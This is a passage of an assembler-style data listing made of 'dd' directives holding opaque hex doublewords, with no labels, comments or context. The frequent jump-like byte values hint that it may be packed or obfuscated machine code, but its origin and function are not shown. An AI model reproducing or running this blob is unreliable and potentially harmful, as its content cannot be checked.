5D312868h, 0E92F5A55h, 0C74AA2D1h, 931C2535h, 60DB502Fh dd 0F37C989Ch, 384EA8FEh, 1DC38C90h, 64CE0B6Ch, 497ECAE9h dd 0F6C9FE82h, 505276D1h, 7376E951h, 0DA905892h, 714ECD04h dd 0AE3F9Fh, 1CEC570h, 0E97649D6h, 0C0B439F3h, 0F468595Ah dd 8DCCBD24h, 0C748319Dh, 6005A330h, 6F5D0C30h, 0EFBC5BEFh dd 0A008D13Ah, 71FF140Ch, 1957D233h, 26EDE90h, 0CB0158DDh dd 628E96E0h, 73231E2Eh, 8060E802h, 4BE54268h, 555CB2CEh dd 4754A1ECh, 1716358Ah, 0DA0CDA62h, 74CD18C1h, 36BF2D73h dd 74C2BDAFh, 0D42178Fh, 591DDBF6h, 6CB9AD96h, 69FEF73Eh dd 9310FBEFh, 51B64472h, 63D76841h, 2611CE2Eh, 4C932C3h dd 72A2028Ch, 55FAE04h, 1EB525h, 4C42E908h, 0F505B6BBh dd 1FAAAF28h, 136CBE2h, 54979A7Ch, 65591F4Ch, 0E8DA4B28h dd 0C280B011h, 0F62FE1C8h, 3F522C8Fh, 0F3885305h, 5E87D8C2h dd 2E0253E6h, 7FA30BBAh, 5FA0F0FEh, 5FDAF431h, 0F9D8029Dh dd 0E9B9DEB8h, 5E8165Ch, 0C996C8AFh, 0AC34C288h, 3FDBD830h dd 0D2090F0Bh, 14F10452h, 0A0295E94h, 955B650Fh, 46C60D40h dd 65B9427Bh, 1C310BC2h, 30FCD2DBh, 5F6856DCh, 0FD40156h dd 80E52877h, 3DFBB951h, 0F04C4DE8h, 9614722Ch, 7790A8Fh dd 0B850808Ch, 16A27D80h, 58C72912h, 79597500h, 5FE96F64h dd 0BE4E01A5h, 302168BAh, 1241B2E6h, 54AD5E7Bh, 0E081ADD4h dd 593FF768h, 601E4DF5h, 8C53D124h, 7E5D25ABh, 60E978B9h dd 885885BFh, 6DA90DFBh, 103778B5h, 31122364h, 47D3D1DFh dd 0C3A32AF7h, 685AF002h, 92D91617h, 18BC0A88h, 3EBE7659h dd 2677533Eh, 589DD92Ah, 2F532593h, 2CECA206h, 45554EF1h dd 92B60FE7h, 0EC57EFC5h, 95C7FC0Ch, 5E720ACAh, 4B865020h dd 0B79B305Ch, 0B0FC66E3h, 3630B526h, 1E533F12h, 512F33ACh dd 123DDD73h, 68C8DD5Ah, 90605B8h, 0C04023CCh, 0DC33F6D7h dd 0F1DFE930h, 768E4BDh, 0C5835BE6h, 0CBF7D6FFh, 95E26FA3h dd 3634FF0Fh, 4D1C41AFh, 0BEA9489Dh, 89F6AF84h, 0EC93F6A6h dd 9A9754C0h, 0A65C83B0h dd 0E970D057h, 7804979Bh, 2C49BC51h, 5B97FC59h, 4AC33040h dd 0BF845094h, 6F096280h, 0D532E91Ch, 433197DCh, 41D39A8Ch dd 0C917DDCEh, 967ED9CCh, 2824729Ah, 0B658F3D3h, 0EE800ECFh dd 76EC087h, 2862C6CFh, 1B6A5AF3h, 0D062CAF1h, 5F12043h dd 945BFEB8h, 0E9619BB1h, 4559107Fh, 2D7EE4D0h, 0A4120FEBh dd 9FB9EF40h, 16BA5D58h, 7CCCEBFh, 80BCBC5Eh, 0FB7985E1h dd 0D958F752h, 0FA600141h, 3EE9AFB4h, 0A2AD1934h, 4C23F71Ch dd 80B9D030h, 0EC81AA15h, 74851B20h, 0AFC058B3h, 0BE592C4Ch dd 1EAF5926h, 8839E03Bh, 34A548ECh, 11A8EF4Bh, 8C02CD13h dd 90F45642h, 0BE0B27BAh, 0D72869h, 236284E2h, 0B4294C68h dd 8CBC4F77h, 3FF3D768h, 4B2B399Dh, 794051FCh, 6677C4FEh dd 3B75B538h, 0E3E350ECh, 9EC07B7h, 5D2CC332h, 0C5AC72CBh dd 0D47982EDh, 312E0278h, 87173FD0h, 0BA5BB582h, 7D7192E3h dd 369CEB00h, 0D8806802h, 6955283Ah, 5ADE40E7h, 9D94EBB0h dd 1F0B393h, 9F539754h, 32A56805h, 6E6095CDh, 0CB060514h dd 83C15823h, 9090350Dh, 52174FF9h, 97ACC289h, 4E61E62h dd 0B30296FCh, 89966AD7h, 5254DCB9h, 9DAB96FFh, 757E41C0h dd 891D6E09h, 0F0FD8BF9h, 96BE2755h, 0C7DC40A7h, 2D5E9B0h dd 0E0EAC197h, 273E2B0h, 83100C04h, 327401C2h, 81D21708h dd 631432C3h, 5BEBFBCDh, 0A055BAF2h, 0E366AFE0h, 9015B035h dd 22081661h, 0A0151309h, 26E34457h, 2F8A4018h, 6FD21E4Ah dd 0A2C32040h, 477BFB37h, 537F49h, 0F0681425h, 2D8F70Eh dd 0DFF92D40h, 46C0FD6Fh, 256002E9h, 5675EB3Fh, 14F09DDh dd 0B1CB5BD9h, 6E04D880h, 9835395h, 25E6536Ah, 0AB20BA5Eh dd 798ECD81h, 64A4832h, 0F46D707h, 0C4DDF457h, 15ED1FCh dd 5B1E82F5h, 5764903Eh, 4E5757C2h, 685509D2h, 9DE41DBCh dd 775AB2B7h, 0BCD7D489h, 1F9A9F4Dh, 59A48177h, 803B4BF1h dd 78C01278h, 107BD8A3h, 0CCCEB405h, 6D86D501h, 0C0E5956Ch dd 68FA6435h, 0E14AF6F4h, 0CC0939ECh, 0DEC64A68h, 45BCE914h dd 77BD80B9h, 7D011563h, 914AFBh, 0C2C58063h, 112D6866h dd 0C35AAF51h, 0E0E530D5h, 16DDF658h, 4F12E952h, 0F39289F5h dd 2002580Ah, 0B388CBC6h, 82BD29E8h, 0C6EC16D2h, 0E7AFDCDEh dd 51C26359h, 6E591168h, 336D3B07h, 904DE931h, 0EB00D332h dd 15D00457h, 12C05E53h, 610C28F6h, 0D836C00Dh, 4E67EF4Fh dd 0C20BBE98h, 0C1205223h, 8804376h, 0E4CB8107h, 15768A40h dd 93BF339h, 0D831A33Fh, 94D1201Bh, 9AC93A0h, 89690D10h dd 12082D7Eh, 55ACDD64h, 10AF504Ch, 2E752A02h, 4971823Ch dd 92BF99DBh, 36B4ACEDh, 0BD944A24h, 0D231C58Eh, 0C930D099h dd 8D6D16CDh, 0BABB944h, 2A97A7Eh, 1200A56h, 97624868h dd 94C4710Bh, 4E279ABBh, 5BC6DDA4h, 2F41DDB0h, 40DFFAB4h dd 0ED398021h, 96F5928Ah, 25FE42B4h, 63D8F8E9h, 0AB67E59Dh dd 2770A4A0h, 6E65C12Dh, 0A992508Bh, 1DCA90BAh, 7F440D17h dd 0CBB878E9h, 9A06AA52h, 0C41DB66h, 576E3616h, 109F9309h dd 324CF84h, 0C139B443h, 0F7C904E7h, 9199ECF0h, 5FFB3112h dd 0E982DBE8h, 99D5BBEEh, 753586BDh, 0CA7DB22Eh, 0F922E44Bh dd 10C9884Ch, 0FC4AF094h, 52D8C23Ah, 8209A950h, 0D846E92Ah dd 3F5A487Fh, 90D89617h, 513D0D9Bh, 2C57743Eh, 74A70D2Bh dd 1D45A6EBh, 1238C02Dh, 5F02902h, 815C07A2h, 25C74288h dd 0EEE24B7Ch, 8E96DF80h, 40E62D05h, 0EFE1BE0h, 4AF05F64h dd 4DCBB2A4h, 277EDD77h, 5EEAFD18h, 0C66D5C5Ch, 0BEF8C47Bh dd 0CD641E21h, 0BEE67197h, 0BB0E8018h, 0B97895D8h, 5EF33112h dd 5926F0A0h, 52834208h, 8DAC2568h, 0E857E560h, 452D77EBh dd 0CD368047h, 102E2936h, 9B471E9h, 7DDA685Bh, 4A70CD1Bh dd 895C2738h, 0F21866E9h, 4E56095Ch, 0FDD6995h, 78B4C9E3h dd 54CC98BDh, 724AD9F5h, 0C52913D7h, 9C0BBD58h, 48022FFDh dd 5FD3E950h, 75D42DAh, 90F2F730h, 0BABFBBFAh, 4570A9EFh dd 59CA0BB0h, 96BDAEF0h, 137B5AB4h, 0B408EDA0h, 4E2580F0h dd 82C3E95Dh, 83A10806h, 3BF5FFCCh, 36EC747h, 11BDEFC1h dd 0BED36015h, 2D6D4A01h, 34CDE94Ch, 0C45E2862h, 2C2CAA4Bh dd 0DF212AE9h, 3EC32680h, 9A8F9B25h, 4213444Fh, 982126B0h dd 0BBB800Bh, 7936E931h, 97041F48h, 0BF375027h, 5859F990h dd 3FF52F68h, 1309A11Ah, 1FCA9200h, 45015672h, 42D3F581h dd 817B3A14h, 3E271C03h, 0E913AD9Ah, 92741C9h, 2A5A1C57h dd 0BE7475D8h, 74782F38h, 959E63Ah, 0B2D13170h, 0B67D619Ch dd 3302BE01h, 525E16F9h, 0E9139AF2h, 7EF4B141h, 0F4D31382h dd 125E27FFh, 919CFFDAh, 894546B4h, 1CF096F5h, 67A5FFCh dd 3644290Ah, 0F2345F98h, 0BA9A2E7Eh, 844FB64Ch, 0AB8484B0h dd 3CD00061h, 52D2F700h, 595A511Eh, 8BD304CAh, 14F82997h dd 25D6ED4Eh, 5FBDE25Fh, 2BFF1999h, 365EE5Dh, 74F129BEh dd 0D8288076h, 57E36813h, 93B72830h, 2DF70480h, 0B9AA6DE9h dd 0E05A51E4h, 1256747Eh, 96050C1h, 4BD13414h, 562F0787h dd 0E3C02038h, 601D3252h, 6CBF0C30h, 67900F82h, 0A19B340Bh dd 501609ADh, 0B2520233h, 5AD330FCh, 44C16442h, 65102538h dd 0B4E968D1h, 7E0032AFh, 0B643ECDCh, 756FD7B3h, 0C42E29B3h dd 57B1C700h, 68017867h, 908BCCFh, 8BE2B7E9h, 0AC286076h dd 9B20FF5Fh, 72C8BE0Fh, 570C6F68h, 9137F968h, 0F726BA82h dd 0C2869214h, 0C67DEB24h, 0FB2DD080h, 482A525Ch, 0F304BD5Ah dd 0F849081Fh, 0AE844FEBh, 65600787h, 0B5521A0Ah, 32284747h dd 64B7064Ah, 65ABD14Eh, 0E2456C69h, 4D5031C7h, 635E410Eh dd 0E01E2813h, 0A52A7768h, 58C6892Ch, 4A341E7Fh, 134DE753h dd 5E40ACE9h, 592974BBh, 0E65A9F2Fh, 0A6D68702h, 7DDE01D0h dd 857C4432h, 8A8512Fh, 0FE14CA3Ch, 0C054139Fh, 9313CE4h dd 5276A704h, 44094250h, 80817ADDh, 620605ADh, 3DC82DE9h dd 510833D3h, 9E9524F2h, 14794C0Ah, 460CBF24h, 0C67D8649h dd 0F25500A3h, 0D4C18118h, 504E9504h, 0E0E190C0h, 3BFA0430h dd 0D4998BE9h, 0F892EB19h, 0B6CC5755h, 0DF0B1298h, 811BD628h dd 0DCE90694h, 0B9015828h, 446D111Fh, 79642081h, 625F8E30h dd 7CF23556h, 54F10916h, 0C600D215h, 424A21EEh, 0CE015504h dd 15A8C0E9h, 4424AC3Bh, 0F3808015h, 0DE8852FEh, 9CFAF0E4h dd 0C31A226Bh, 92A9C1EAh, 0E6E5D87Eh, 0B84ADB40h, 2F0B7DF6h dd 0ED58548Ah, 6CCCB580h, 5DB826FAh, 0D9075Ch, 259B2491h dd 0BD41CFE9h, 6F253767h, 93E9869Fh, 68628B91h, 5D30A613h dd 1359973Ah, 6915C1A6h, 9C542632h, 0A8D5BE92h, 0FECD94D8h dd 0E6AB5BA7h, 5252590h, 0D1E2BA0Bh, 425FED1Ch, 0D5014606h dd 31259A40h, 0E9296209h, 0BD1658B2h, 0F9C14AC2h, 79A95719h dd 0BC88D689h, 0A37D07F4h, 5F0540F7h, 11904772h, 0FC19B825h dd 77F53C3h, 6C02785Bh, 5D47C280h, 0DE30E8E0h, 0BB4FE1FAh dd 1C20B52Dh, 0E17912CCh, 38DC007Bh, 0E9841E86h, 0B20B675Ah dd 6231F121h, 816A8EE9h, 87F47F40h, 0B8B49882h, 0DD649F99h dd 16402AF0h, 3AA3368h, 4F4A3443h, 2F70791h, 74C42078h dd 0C83107D2h, 94491A77h, 2DD1955Eh, 0E9C34CA4h, 81710075h dd 4239C7E2h, 0D5756859h, 0F01221CBh, 6957760Ah, 0D3D0AD69h dd 60F38102h, 76536Bh dd 98B43CFEh, 5E48297Ch, 7F7A0757h, 0CBF0398Dh, 60D93BC5h dd 981D3622h, 8595D144h, 6CC1318Eh, 317A19BDh, 7FAC6AC6h dd 2F92F531h, 7CD613Ah, 0C2BB0089h, 49284806h, 5B94A210h dd 81C7ED04h, 604E0012h, 4D06EC77h, 7F5D80A0h, 86EE25h dd 38F40585h, 0B2125D43h, 0F29AA417h, 706D89B7h, 0F75B4F35h dd 5B3C3AC8h, 8E20C89Dh, 9A2E1280h, 7E730C0Eh, 5030E90Dh dd 0CEEA5FE8h, 19DB3D11h, 5A018C90h, 0A7034185h, 0B53C3D60h dd 18972EABh, 5AEF18E9h, 0F497BA31h, 2FF59CD7h, 0E989ADE7h dd 0BF1720CDh, 5EAB7854h, 55740970h, 742AAD00h, 893D03C4h dd 91B260FDh, 761E4B1Bh, 829DB029h, 88FB5408h, 680E9959h dd 5AE33222h, 18655D2Dh, 8AAC712Dh, 84F127FBh, 0C102B60Fh dd 3E52F24Fh, 79F54321h, 0B34DCC4Ah, 0A95604D3h, 8975ABE5h dd 27171CF9h, 0E67EE8D2h, 43F10248h, 0D1E921FCh, 64521978h dd 6BCD1047h, 0B25AAEC8h, 0BA94FF01h, 0B8887C94h, 5EFB20BDh dd 14C38E79h, 2BA25058h, 74309774h, 26E92819h, 9254A699h dd 6D75BF5Fh, 44EFBF0Ah, 0B5B4E978h, 0D995A746h, 2C7FBBB2h dd 89AFAD96h, 591EB68h, 5C163A4Bh, 0E9A84EA8h, 0C4935524h dd 4A055940h, 17BF472h, 389DF52Dh, 70C32177h, 0AB4F8F89h dd 17E58C9h, 3A488EA6h, 0CE208A2Dh, 0EA81AD15h, 35F71F73h dd 3F750C82h, 16F73C40h, 0B9BA2084h, 8F3A7BAAh, 18BFE455h dd 5D14FFE9h, 241ECEF2h, 0A0CB6E95h, 725FD108h, 4029E82Bh dd 2DCF17D5h, 0E90FDCE5h, 7FAE3A88h, 0C621D103h, 2ACB7BD1h dd 0A2A5F746h, 2D5B290Ch, 2CD1ADEAh, 0F6F17D42h, 89876833h dd 9EC6B768h, 36E9550Bh, 0C650E817h, 5A04043Ah, 0C4FE0148h dd 4A08142Dh, 31E95BB0h, 86CC874Dh, 0E010D642h, 82C6A5D8h dd 5B4A6851h, 3CB640A2h, 0E795407Fh, 0A0989DDAh, 10D77806h dd 36255FA2h, 7A28B451h, 9FCBCA2Ch, 5B2085E2h, 0D1D2960Fh dd 277DDE0h, 42B4FC88h, 6675CC25h, 0AD4BBD1Ah, 0C010DC3Bh dd 666E122Ch, 0F5FA0E5Ah, 57A644F0h, 4FE92240h, 0CA5E43E4h dd 45A252A9h, 8350C257h, 92F2124Fh, 0E2895F88h, 545159A0h dd 0B77EE9h, 4D3825C2h, 54E03F8h, 3561797Bh, 68669A8h dd 58C138C1h, 6CCA3768h, 46C79600h, 0CC4C84F1h, 0A3C3B041h dd 0E5FB61DEh, 7333A8E9h, 0BB5301DDh, 2C23386Fh, 0B480C82h dd 0F0C02201h, 84B69E61h, 3CAF449h, 7CB470D2h, 51BC66F9h dd 405A238Fh, 0CAB252F8h, 5EE4BBE1h, 9F5E122Ch, 0E42C80C5h dd 0B7825526h, 60E730B2h, 72885276h, 5AD43AFAh, 44D5E2AEh dd 0BBC7909Eh, 70032857h, 53DBF744h, 61A450FFh, 560C09F3h dd 0E280203Eh, 3937762Dh, 57A13098h, 0B24A3C15h, 5627C253h dd 58F3278Bh, 24F46388h, 4F7028A5h, 0D65FF3C6h, 0B84FF0h dd 12731B4Eh, 81331705h, 0CEA0395Bh, 91543A08h, 4FAF2D26h dd 9AE59541h, 26816C81h, 80033E42h, 79795043h, 0D92D1260h dd 7E50AF65h, 0E95A0408h, 0DBCC8771h, 6C6D0B68h, 7D856F37h dd 2C6CA0CAh, 0B652AC0Fh, 97C14FDBh, 9C3CDE21h, 66F88800h dd 0D2F65B03h, 7068D086h, 928058D1h, 0E6D0F22Dh, 0A706BBEFh dd 0E269138Ah, 0E85AC2ABh, 142CC219h, 0BD7A523Fh, 0DAF1012Dh dd 122D496h, 5E607DDAh, 0BC24277Bh, 0A6023B3Ah, 0F749E421h dd 0A6880589h, 997B9ACh, 5EC20928h, 47C2ECCAh, 256FEB5Eh dd 6EC25DEAh, 0E41CF786h, 9DFC5C4Ah, 0D98CFAF4h, 0B7755ECEh dd 285E7B78h, 0F280A0C0h, 7884FFBh, 0EF7DEB9Eh, 0B7098408h dd 9D1A7592h, 805B5D98h, 0E92EE40Bh, 0B40E40B6h, 0E4F67EF5h dd 7EF4FCDCh, 6F536991h, 3C3177DAh, 0D1447F43h, 0A0CDB7Dh dd 8578060Dh, 0C81E669Dh, 0B4047EBAh, 99B828C2h, 0C1583422h dd 35E04E7h, 0B8AC3875h, 4DAF71Ah, 6C2980DDh, 1229B3F3h dd 0F2585AD1h, 5B592DEAh, 903E1574h, 0C5E35870h, 0B040272Fh dd 0CD801C33h, 0F0699D1Bh, 0B04A2BEBh, 4B4FAB23h, 25515C07h dd 0BE9A6558h, 9F47E913h, 59A972FBh, 485A29FCh, 0B775E817h dd 7BD1FA32h, 0D5EBA842h, 33C16393h, 0BA326AC2h, 77885585h dd 0F7EBC537h, 0DDA24E82h, 93E0220h, 0E939E15Fh, 8D6A1108h dd 0D1822F03h, 0B57C6057h, 5782565h, 73A06F78h, 0E7092D2Ch dd 0F4A3E968h, 76FB981Dh, 921F1E65h, 0C4925F31h, 13C166F4h dd 0EA428B28h, 0B3EC8412h, 0D743C602h, 5D29BD74h, 210E80Ah dd 4FCD5ADDh, 5700F8F0h, 81A69BFh, 3BF78165h, 44A8645Ch dd 6A80418Eh, 2258F1F7h, 63896CE1h, 4A5327EFh, 97FB86A9h dd 0E3F050C3h, 0C0FC409Ch, 2704E226h, 0CFCA8000h, 0E00BB753h dd 0DBE927FAh, 3AFC6109h, 0FFB10949h, 0C088F83Eh, 4025142Eh dd 0B35462Ch, 5893D829h, 0EBC10101h, 25DA6103h, 57A33AE3h dd 12C0E692h, 0A43233FAh, 0A7848966h, 0B87150F4h, 29EC4EACh dd 5C58FCC3h, 0BF170055h, 800ED0Fh, 432D5E5h, 1E29C7C5h dd 0E551088Fh, 1BC339B9h, 0E9200C49h, 0CD4C621Ch, 0F92ECF98h dd 2D44F28Bh, 55DD4FEh, 0EFB4F6FFh, 0C262BB69h, 0E08C92D6h dd 0A1901C7Ah, 18E740A0h, 211E9A17h, 0CB450E04h, 4C6D8CAEh dd 52F40241h, 3A4EBF73h, 0B4B215F6h, 3B65B5Eh, 0A5AA3D6h dd 0BECE59E9h, 4CF16860h, 5B0F2819h, 40F498D5h, 0AE0FBEACh dd 920DA110h, 0C2241F49h, 4F3579E7h, 1C58A6CBh, 9444585Ah dd 9DAF31FEh, 0EB872F68h, 541D87E2h, 46BEE3B5h, 93DED25h dd 0B1395DAEh, 8AB808ABh, 26DE4212h, 4BCC088h, 0A254B468h dd 2F553F6Bh, 56FFC1B0h, 4371EA71h, 0A4AA02Bh, 0E6CED617h dd 0E9485DC1h, 0CC2B84EDh, 1150582Dh, 72418B40h, 41FD9B34h dd 62B62A9Fh, 0C83B5C0Ch, 0BF89742Eh, 0BA7DD42Bh, 8E8EA364h dd 76A8782Ah, 6702FACh, 58726AECh, 2F471950h, 3C519B40h dd 0A21342B5h, 0F4C4E489h, 38643918h, 32E2525Eh, 8932C7D8h dd 0D29BB957h, 72282FD6h, 75C1C281h, 0A6331B79h, 26AFEC2Ah dd 0C3F91886h, 0BD100D62h, 340A71FCh, 991205Fh, 0DA683292h dd 433A69C1h, 5E21625h, 3AB56F00h, 25E97440h, 2F999DDAh dd 48E6EED8h, 0FEA7524Eh, 0B4501440h, 0F6818334h, 0A091BACh dd 0FE6B86CEh, 71A501AAh, 0A73680E9h, 9CFB96B5h, 0FE9943C1h dd 6E16E711h, 0CAE4D545h, 0E689B85Dh, 91E09845h, 87EF8474h dd 528685FDh, 766EA6CBh, 3FCCFC1Fh, 0D804CEE4h, 92AE8F38h dd 884B9A7h, 0FC919229h, 0C106A172h, 4D581D4Ch, 36F40F0Ch dd 0E18525E4h, 3B02829Eh, 0FDAD20D7h, 0A2918DDDh, 6D4A5DAAh dd 1A75E209h, 85485D79h, 0B89C6EE9h, 0B417CB2Ch, 68B54541h dd 0AC26EB88h, 0BFA9C70h, 0AE5A02A9h, 59DCE227h, 105DA4C6h dd 35D54EEEh, 0B0E500AEh, 573A5A29h, 30C5E919h, 0CD79C6D3h dd 4C6592Fh, 54828EBCh, 0D4D5C9E9h, 0ED574D62h, 0C9D32BF8h dd 0EB439025h, 562D023Ch, 8928C842h, 38B5967Fh, 0AD34E952h dd 0FA2D4Eh, 9B0D298Ah, 51016A3Bh, 5808039Eh, 78CD0E06h dd 52944DA2h, 0E607CA10h, 6F2FF15Fh, 1D323F81h, 1E6E7852h dd 0F38BC689h, 80CA1ABBh, 0B36B46C5h, 2D8FB72Eh, 4EA63601h dd 6A103138h, 4F7804A3h, 801CC02Ah, 0F607CAC9h, 3E1C0D1h dd 6E07CF3Fh, 0A1523DF1h, 7C09CBF0h, 2CB4FFEh, 7B045B8Bh dd 89CC8E57h, 5DD3B85Ah, 7D8291h, 5B71EB2Dh, 5A8F7D6Ah dd 0F09E1312h, 0F2F25395h, 4368E9A8h, 0A56F469Eh, 0EED37B2Bh dd 87A194ADh, 7A382FC5h dd 0CBBE4B9Fh, 0B3A5CC09h, 0A66AC202h, 8707C470h, 0D0F797FEh dd 7CF50C3Dh, 4B681034h, 5FDAF39Ah, 4E4864E7h, 0F3E0A320h dd 9FEB8012h, 972B93B0h, 0B966F704h, 6FB910F8h, 0B7945B2Fh dd 738939B5h, 8B4B1838h, 0D7C342Ah, 10BAD7C0h, 0BD80BF97h dd 7DD5606Ah, 25B858B5h, 0B503F7E9h, 84934B04h, 0D32CC881h dd 91458997h, 0E98CB202h, 0C17348C3h, 0AD0851EDh, 0C505DD22h dd 0AFBD3441h, 18123900h, 2431D0B9h, 0A68A5BDDh, 0A8DC1275h dd 6302CD4Ch, 0D55D8E8Ah, 4FBE0125h, 0DA015663h, 80C3D42h dd 2B5C5528h, 2C0282AFh, 0B653E16Fh, 0A7357A06h, 0E7022E5Dh dd 75A8177Eh, 46276A83h, 43144F1h, 1B5287EBh, 0E7A80D96h dd 0E9C9E084h, 246D63E2h, 0B0060Ah, 25027C4Ah, 5A67D509h dd 66736768h, 8128242Bh, 0C780981h, 0BEE28080h, 13136963h dd 0CEE01AE9h, 69EF77D1h, 90DFF1A8h, 83331D34h, 4CF8B84Eh dd 899A051Fh, 3C701E9Bh, 685A0780h, 0D9028C25h, 132980D0h dd 0E94F42A3h, 85AA49h, 0A76C5DB9h, 9814143h, 0B44875C9h dd 86025A7Ch, 5FB8AFA9h, 0F821AF82h, 0C1400351h, 5F3108E8h dd 929F0DC8h, 0AE64401Bh, 27BE3C0h, 9D0B364Bh, 521D5E58h dd 0E9C04784h, 86097F96h, 57316C2Eh, 632F14A0h, 3EF3CF7Ch dd 10E42621h, 4028E66Eh, 281340ECh, 0F6B93256h, 9800475Ch dd 8178BF01h, 11043CE6h, 64E97CC3h, 89BB0ED4h, 7D3F4152h dd 398205AFh, 9D1A5085h, 11FCA9BEh, 0DDD2E91Ah, 0ECB576E3h dd 3509BE0Eh, 807F481Ah, 627DE751h, 0BB0CD374h, 69E9B943h dd 0C35B3B07h, 0AD768E97h, 3AC50B54h, 9C26820Ah, 0D82102B8h dd 80B50761h, 0B0ACF1A3h, 7D31CAAFh, 40945FCFh, 3786C3EDh dd 0CBB71CFAh, 0E3DBC87Eh, 0F0FE5E03h, 17B555ABh, 0A4E9098Fh dd 0CC970C78h, 434F02C0h, 555372C7h, 1A02FF76h, 80BD57E5h dd 0E90B96C1h, 968248CDh, 9984088Bh, 6E87BF20h, 40FACAE4h dd 0FE77E33Ah, 0F6EAD0C3h, 0F386D31Eh, 0FF08C61Bh, 0DA30AA60h dd 0D47B26E9h, 285B8AD6h, 0CD570885h, 16E4892Fh, 0C368124Dh dd 0FF374A73h, 1210A6D5h, 5E1EFD6Dh, 569A71F2h, 68DC406Ah dd 0F1A5F3C3h, 52267h, 2701C295h, 79F863C0h, 0DF9D6AEDh dd 13EEE200h, 0C0165E73h, 150DE9A9h, 0F4CD4CB7h, 0F3E65E4Dh dd 1A290583h, 91AE0102h, 7E804CC2h, 22F69B91h, 1E7DB7C4h dd 7907EEC1h, 17862FFBh, 2C51BDABh, 8BE976B0h, 4947BE91h dd 0C5B085h, 79C4EA28h, 86F81D77h, 17936C59h, 66E95604h dd 4274184h, 99FEE588h, 0BDBF603Ch, 5E80EE95h, 0FBDA3368h dd 0F74E5BF6h, 97047CE4h, 0E9131596h, 9CBC766Ah, 53972296h dd 0FB27B1FEh, 4936AF49h, 0A17AF195h, 171426B7h, 0E2F9C5F3h dd 0D238485h, 0FEF731A8h, 14C1399Ah, 5506BDCDh, 2DFC3806h dd 30D0C1ADh, 41F25020h, 99616EB3h, 718D4874h, 3E53AD50h dd 98A76E44h, 0A5AF5A0Ah, 6CAF7AD4h, 3FAF979Bh, 5F40857Dh dd 0C7A600B7h, 5434123Fh, 5B0AA998h, 0EC79C968h, 0D83B2118h dd 14B76453h, 547EB463h, 4E8C455Fh, 1A5C1F5Eh, 4F124B6Ah dd 0F512432h, 0A53C3624h, 523B2022h, 0B5D5CB59h, 13D5A0E2h dd 0B6D40232h, 85EE80ECh, 0DE0E6DF4h, 530EF028h, 0FD40F788h dd 6B045A5Bh, 2C74E8FAh, 0C921E926h, 281C65A5h, 5CCE4060h dd 0DA2EA7EDh, 6A36CB2h, 5974CA28h, 0D028E001h, 0D4C5E951h dd 0B3845122h, 7B3EC220h, 421FBAE3h, 76C284EBh, 0F129B6E9h dd 0EDBF6FDBh, 0F2011C72h, 62D82F29h, 47F4D131h, 7F1A95CEh dd 0B472EC85h, 253CC2A6h, 37BDCEC5h, 0F53CC90Eh, 32F529C9h dd 0E90C0728h, 29C928D4h, 772EC4h, 58E38118h, 0E9348851h dd 73B5D472h, 0AC54127Ah, 0BD55C0B9h, 48F43DB9h, 165E552Fh dd 0A6731C7Ah, 0C26B08A8h, 4BD16804h, 0D94730ABh, 0D9983857h dd 5D4ECB04h, 0B4A033F4h, 0A02502F3h, 0DA29C403h, 0D75DE2D7h dd 1B732C6Ch, 39459D2Ch, 62AD2500h, 0BAD6E9BAh, 56ABCB6Ah dd 652D54FEh, 10D92CA7h, 3E593BD9h, 0CE354BC9h, 4B5E0488h dd 122D8F12h, 0BFE7BC27h, 0BC2C0250h, 0BD4FA8D7h, 419D1C28h dd 34E58FE9h, 5E4BF23Ch, 95EA63B0h, 48BD774Eh, 2D58BBAFh dd 0F101DF5Ch, 6020A3ACh, 154FF62Eh, 79587032h, 69D6086Eh dd 81C5310Bh, 2D0689Bh, 14A3B33Ah, 0D3C45250h, 5B251DA6h dd 69FA18D6h, 0F042F7DBh, 0BFB1571Ch, 7A72B55Dh, 22DD682h dd 0C377F529h, 29AEFC39h, 0CFC86A29h, 7A639F5Bh, 0F105E399h dd 8122E60h, 7D8BDE8h, 1804E8C1h, 5452C831h, 40B26AC8h dd 3AB556C6h, 55D0BE7h, 828DDB32h, 0B72B6E46h, 630B8F70h dd 2F74F1Ch, 46EE067h, 0ADB0C257h, 336DB800h, 645D60A8h dd 47550417h, 2051F097h, 0B9040FEFh, 3A2436E6h, 1CF2DCC6h dd 405942F1h, 79922D78h, 1264F22h, 88EFB6C8h, 0EA6804A1h dd 9C31BF1Ah, 1925E1FBh, 0A80E576Ah, 0DFBD9243h, 7E1031D4h dd 0C12E7DD1h, 0F501CAEDh, 62A1D13h, 2EFAB16Eh, 0CB3B28B5h dd 0B9510FB0h, 3EFC969h, 4F65E9AEh, 5A82A60Dh, 0E24A76CAh dd 96E909E3h, 0E4D4DAE0h, 90C3E8D8h, 9006FD5Ah, 0D697F0Ch dd 120A0C2Eh, 0BC373A7Bh, 0CED0028h, 0E984529Ah, 8517542Bh dd 5F00B8F8h, 0BE9034DBh, 0A4F4BE4Bh, 23BB8828h, 835E9BC1h dd 790FCDC0h, 78294149h, 0B8EB400Ah, 0C958C140h, 3D512544h dd 0F606E08Bh, 3A74C23Fh, 60D848DCh, 0AE1EBD68h, 1820F58Eh dd 0AD5A5EE7h, 0AFCA026Ah, 400B586Ah, 0F8DF75BBh, 0D789275Dh dd 4724AF14h, 0B01F3F4Fh, 0CE723B4Fh, 0FA7942E6h, 3C75FE69h dd 4954C682h, 69E22CB0h, 0D6016E48h, 245BD1EEh, 188679F2h dd 0B9022470h, 6BB01257h, 3F46D449h, 9304CF0Bh, 72CBBA07h dd 0E4749769h, 0C9DC4971h, 9D0616CDh, 88A5012Bh, 3038F659h dd 0DE160763h, 1CFAAB0Bh, 27E8D068h, 82B6B358h, 217C09CFh dd 893AF16Bh, 0E4765F68h, 5AAFE963h, 0CEBA81BBh, 0B02D0178h dd 0BD3A8DF0h, 0B316B28h, 0E3656C55h, 39171411h, 843CA867h dd 5331BF57h, 94287B09h, 6DC3B5CDh, 50E590CDh, 8012C7B4h dd 601112F4h, 2E3B5897h, 2C1D8C88h, 849D2F3Eh, 97FA6693h dd 0D9115BF5h, 0E7BA60D2h, 0F35C240h, 151043EEh, 2B50A84Bh dd 2248912Dh, 0A6187Ch, 7CF78147h, 53C44417h, 5486CC01h dd 0C8702FAh, 3B94C319h, 7F07504h, 0D616F787h, 68500B08h dd 0C29A5F76h, 0F3823144h, 0EA71F95Eh, 5E57490Ah, 0A25F12DBh dd 0BBF5D358h, 24AF3321h, 0E9179D9Ch, 0D1BCF984h, 0E3445ACFh dd 0D343E47Ch, 6FC7431Eh, 0E5E43BDFh, 2A95C2h, 0F705E5C1h dd 54B4D54Bh, 0B7E302A2h, 0AEDEE97Ch, 0DC026802h, 0FB6DCF7Ah dd 0F8E6041Ah, 